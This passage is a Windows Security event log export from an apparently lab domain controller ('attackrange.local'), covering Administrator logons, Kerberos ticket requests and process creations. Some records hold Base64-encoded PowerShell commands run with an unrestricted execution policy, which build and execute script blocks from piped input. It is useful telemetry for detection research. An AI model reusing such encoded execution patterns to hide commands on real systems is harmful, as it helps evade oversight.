UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253066 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x191B4A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253065 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x191B4A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253064 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253063 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253062 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253061 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918D5 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x48c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf4c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253060 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918D5 - -Process Information: - New Process ID: 0xf4c - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253059 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918D5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253058 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918D5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253057 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253056 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253055 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253128 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x194F42 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253127 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x194F42 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253126 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253125 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253124 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253123 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19373B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd7c - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x113c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253122 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19373B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x113c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf14 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information 